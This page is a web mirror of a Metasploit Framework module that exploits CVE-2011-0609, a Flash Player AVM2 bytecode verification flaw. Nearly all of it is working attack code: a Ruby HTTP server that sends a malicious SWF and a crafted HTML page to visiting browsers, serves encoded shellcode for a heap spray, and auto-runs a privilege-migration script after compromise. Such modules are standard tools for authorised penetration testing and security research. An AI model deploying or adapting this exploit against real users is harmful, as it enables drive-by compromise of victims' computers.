CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/browser/adobe_flashplayer_avm.rb
Views: 11783
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Exploit::Remote

7
  Rank = GoodRanking

8


9
  include Msf::Exploit::Remote::HttpServer::HTML

10


11
  def initialize(info = {})

12
    super(update_info(info,

13
      'Name'           => 'Adobe Flash Player AVM Bytecode Verification Vulnerability',

14
      'Description'    => %q{

15
          This module exploits a vulnerability in Adobe Flash Player versions 10.2.152.33

16
        and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification

17
        logic. This results in unsafe JIT(Just-In-Time) code being executed.  This is the same

18
        vulnerability that was used for the RSA attack in March 2011.

19


20
          Specifically, this issue results in uninitialized memory being referenced and later

21
        executed. Taking advantage of this issue relies on heap spraying and controlling the

22
        uninitialized memory.

23


24
          Currently this exploit works for IE6, IE7, and Firefox 3.6 and likely several

25
        other browsers. DEP does catch the exploit and causes it to fail. Due to the nature

26
        of the uninitialized memory its fairly difficult to get around this restriction.

27
        },

28
      'License'        => MSF_LICENSE,

29
      'Author'         =>

30
        [

31
          'bannedit', # Metasploit version,

32
          'Unknown'   # Malcode version seen used in targeted attacks

33
        ],

34
      'References'     =>

35
        [

36
          ['CVE', '2011-0609'],

37
          ['OSVDB', '71254'],

38
          ['URL', 'http://bugix-security.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html'],

39
          ['URL', 'http://www.adobe.com/devnet/swf.html'],

40
          ['URL', 'http://www.adobe.com/support/security/advisories/apsa11-01.html'],

41
          ['URL', 'http://www.f-secure.com/weblog/archives/00002226.html'],

42
        ],

43
      'DefaultOptions' =>

44
        {

45
          'EXITFUNC'          => 'process',

46
          'HTTP::compression' => 'gzip',

47
          'HTTP::chunked'     => true,

48
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'

49
        },

50
      'Payload'        =>

51
        {

52
          'Space'    => 1000,

53
          'BadChars' => "\x00",

54
          'DisableNops' => true

55
        },

56
      'Platform'       => 'win',

57
      'Targets'        =>

58
        [

59
          [ 'Automatic', {}],

60
        ],

61
      'DisclosureDate' => '2011-03-15',

62
      'DefaultTarget'  => 0))

63
  end

64


65
  def exploit

66
    path = File.join( Msf::Config.data_directory, "exploits", "CVE-2011-0609.swf" )

67
    fd = File.open( path, "rb" )

68
    @swf = fd.read(fd.stat.size)

69
    fd.close

70


71
    super

72
  end

73


74
  def on_request_uri(cli, request)

75
    trigger = @swf

76
    trigger_file = rand_text_alpha(rand(6)+3) + ".swf"

77
    shellcode = payload.encoded.unpack('H*')[0]

78
    obj_id = rand_text_alpha(rand(6)+3)

79


80
    if request.uri.match(/\.swf/i)

81
      print_status("Sending Exploit SWF")

82
      send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })

83
      return

84
    end

85


86
    # we use a nice trick by having Flash request our shellcode and load it for the heap spray

87
    # src for the flash file: external/source/exploits/CVE-2011-0609/exploit.as

88
    if request.uri.match(/\.txt/i)

89
      send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })

90
      return

91
    end

92


93
    html =  <<-EOS

94
    <html>

95
      <head>

96
      </head>

97
      <body>

98
    <center>

99
      <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

100
                 id="#{obj_id}" width="600" height="400"

101
                 codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">

102
             <param name="movie" value="#{get_resource}#{trigger_file}" />

103
             <embed src="#{get_resource}#{trigger_file}" quality="high"

104
                 width="320" height="300" name="#{obj_id}" align="middle"

105
                 allowNetworking="all"

106
                 type="application/x-shockwave-flash"

107
                 pluginspage="http://www.macromedia.com/go/getflashplayer">

108
             </embed>

109


110
         </object>

111
    </center>

112


113
    </body>

114
    </html>

115
EOS

116


117
    print_status("Sending #{self.name} HTML")

118
    send_response(cli, html, { 'Content-Type' => 'text/html' })

119
  end

120
end

121


122